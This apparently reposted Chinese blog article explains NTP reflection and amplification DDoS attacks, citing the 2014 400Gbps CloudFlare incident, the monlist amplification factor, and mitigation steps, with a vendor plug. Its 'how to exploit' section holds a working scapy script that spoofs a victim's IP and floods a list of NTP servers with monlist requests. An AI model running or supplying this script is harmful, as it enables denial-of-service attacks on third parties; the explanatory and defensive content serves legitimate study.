细说史上最大400G神秘攻击

细说史上最大400G神秘攻击
 2014年2月11日,CloudFlare透漏其客户遭受400G的NTP Flood攻击,刷新历史DDoS攻击的流量峰值外,使得NTP Flood攻击备受业界关注。其实自从黑客组织DERP使用了NTP发起反射攻击后,2014新年内的第一周,NTP反射攻击占了DoS攻击流量的69%,整个NTP攻击的平均大小为约每秒7.3G bps,比2013年12月观察到的平均攻击流量高3倍。

细说史上最大400G神秘攻击

下面让我们看看NTP 服务器的原理。

NTP协议(network time protocol)是标准的网络时间同步协议,它采用层次化时间分布模型。网络体系结构主要包括主时间服务器、从时间服务器和客户机。主时间服务器位于根节点,负责与高精度时间源进行同步,为其他节点提供时间服务;各客户端由从时间服务器经主服务器获得时间同步。

以一个大企业网为例,企业搭建自身的时间服务器,作为从时间服务器,负责从主时间服务器同步时间,然后再负责将时间同步给企业的各业务系统。为确保时间同步延迟小,每个国家按地域搭建为数众多的时间服务器,作为主时间服务器,满足互联网各业务系统的时间同步需求。

随着网络信息化的高速发展,包括金融业,电信业,工业,铁路运输,航空运输业等各行各业对于以太网技术的依赖日益增强。各式各样的应用系统由不同的服务器组成,如电子商务网站由WEB服务器、认证服务器和数据库服务器组成,WEB应用要正常运行,必须实时确保WEB服务器、认证服务器和数据库服务器之间的时钟同步。再比如分布式的云计算系统、实时备份系统、计费系统、网络的安全认证系统甚至基础的网络管理,都强依赖于精确的时间同步。

神秘的NTP Flood为什么如此受黑客的青睐呢?

NTP协议是基于UDP协议的服务器/客户端模型,由于UDP协议的无连接性(不像TCP具有三次握手过程)具有天然的不安全性缺陷。黑客正式利用NTP服务器的不安全性漏洞发起DDoS攻击。只需2步,即可轻松实现四两拨千斤的攻击效果。

第一步:寻找目标,包括攻击对象和网络上的NTP服务器资源。

第二步:伪造要“攻击对象”的IP地址向NTP服务器发送请求时钟同步请求报文,为了增加攻击强度,发送的请求报文为Monlist请求报文,威力则更猛。NTP协议包含一个monlist功能,用于监控 NTP 服务器,NTP 服务器响应monlist指令后就会返回与其进行过时间同步的最近 600 个客户端的IP地址。响应包按照每6个IP进行分割,最多一个NTP monlist请求会形成100 个响应包,具有强的放大的能力。实验室模拟测试显示,当请求包的大小为234字节时,每个响应包为 482 字节,单纯按照这个数据,计算出放大的倍数是:482*100/234 = 206倍!

哇哈哈~~~攻击效果很明显,被攻击目标很快出现拒绝服务现象,更有甚者整个网络拥塞。

自从黑客组织DERP发现NTP发起反射攻击效果后,便在在2013年12月底上演了针对包括EA、暴雪等大型游戏公司的一系列DDoS攻击事件中,使用了NTP反射攻击。看起神秘的NTP反射攻击,其实并不神秘,与DNS反射攻击具有异曲同工之效,都是利用UDP协议的不安全漏洞,利用开放的服务器发起的,不同的是NTP威胁性更强,因为每个数据中心服务器都需要时钟同步,无法通过协议、端口的过滤来进行防护。

总结起来反射类攻击最大的特点,就是以小博大,四两拨千斤,利用各种协议漏洞来放大攻击效果,但万变不离其宗,只要捏住攻击的“七寸”,就能从根本上遏制攻击。而反射攻击的“七寸”就是它的流量异常。这就需要防护系统能够及时发现流量的异常,而发现异常还远远不够,防护系统还要有足够的性能来抵御这种简单粗暴攻击,要知道现在的攻击动辄都是100G起了,防护系统要是没个几百G的防护能力,就是发现了,也只能干瞪眼。

华为Anti-DDoS系统会主动建立数十种多种维度流量模型,第一时间发现流量异常,同时高达数百G的防护能力,足以应对已知的最大流量攻击。

0x01 一些案例


最近一段时间 DDoS 攻击事件让基于 NTP 的 DDoS 攻击变得很火热,先看看下面的信息感受下:

“It was a very large DDoS targeting a CloudFlare customer,” Matthew Prince, CEO of Cloudflare told SecurityWeek. “We're still gathering the log data to get exact numbers but know it was well over 300Gbps and likely over 400Gbps,” Prince said.

“The method was NTP reflection, which is quickly replacing DNS reflection as the source of the largest attacks,” Prince said.

消息中称 CloudFlare 遭受了高达 400G 流量的 NTP 反射攻击,目前从网上各处的消息来看,众说纷纭,我们先不去考证消息的真伪,仅仅从攻击方法和流量方面来看着实体现出 NTP 反射攻击的威力。

0x02 什么是 NTP


NTP 是网络时间协议(Network Time Protocol)的简称,干嘛用的呢?就是通过网络协议使计算机之前的时间同步化。

0x03 NTP 反射和放大攻击


那什么是 NTP 反射和放大攻击呢?如果听过 DNS 反射和放大攻击的话应该就会对这个比较容易理解了,协议不同,效果一样。

我们先来说说放射和放大攻击:

无论是基于 DNS 还是基于 NTP,其最终都是基于 UDP 协议的。在 UDP 协议中正常情况下客户端发送请求包到服务端,服务端返回响应包到客户端,但是 UDP 协议是面向无连接的,所以客户端发送请求包的源 IP 很容易进行伪造,当把源 IP 修改为受害者的 IP,最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。

放大攻击呢就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包,这样就达到了四两拨千斤的效果。

那我们接着来看什么是 NTP 的反射和放大攻击,NTP 包含一个 monlist 功能,也被成为 MON_GETLIST,主要用于监控 NTP 服务器,NTP 服务器响应 monlist 后就会返回与 NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。

我们可以通过 ntpdc 命令向一个 NTP 服务器发送 monlist 以及结合抓包来看下实际的效果。

pangzi@pangzi-mac ~$ ntpdc -n -c monlist x.x.x.x | wc -l

602

NTP wireshark

在上面的命令行中我们可以看到一次含有 monlist 的请求收到 602 行数据,除去头两行是无效数据外,正好是 600 个客户端 IP 列表,并且从上面图中的 wireshark 中我们也看到显示有 101 个 NTP 协议的包,除去一个请求包,正好是 100 个响应包。

从上图中我们可以看到请求包的大小为 234 字节,每个响应包为 482 字节,如果单纯按照这个数据我们可以计算出放大的倍数是:482*100/234 = 206 倍。其实如果通过编写攻击脚本,请求包会更小,这个倍数值会更大,这样算起来是不是蛮屌的。

0x04 如何利用


我们通过 scapy 实现一个简单的攻击脚本,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# author: pangzi.me@gmail.com
 
import sys
from scapy.all import *
 
def attack(target, ntp_server):
    send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))
 
if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.exit(1)
 
    target = sys.argv[1]
    ntp_server_file = sys.argv[2]
    for ntp_server in open(ntp_server_file, "r"):
        ntp_server = ntp_server.strip()
        if ntp_server != "":
            attack(target, ntp_server)

0x05 如何防御


我们可以分为两种情况进行防御

加固 NTP 服务

1. 把 NTP 服务器升级到 4.2.7p262. 关闭现在 NTP 服务的 monlist 功能,在ntp.conf配置文件中增加`disable monitor`选项3. 在网络出口封禁 UDP 123 端口

防御 NTP 反射和放大攻击

1. 由于这种攻击的特征比较明显,所以可以通过网络层或者借助运营商实施 ACL 来防御2. 使用防 DDoS 设备进行清洗 

不过我觉得如果流量真的够大,400G?800G?或者更大,又有谁能够防得住呢? 

 

非凡网 博客

我只是帮你筛选价值。

你也许喜欢

2 回复

  1. 北京seo说道:

    博客不错哦,求认识,博主

  2. 北京seo说道:

    博客不错哦,求认识,博主

发表评论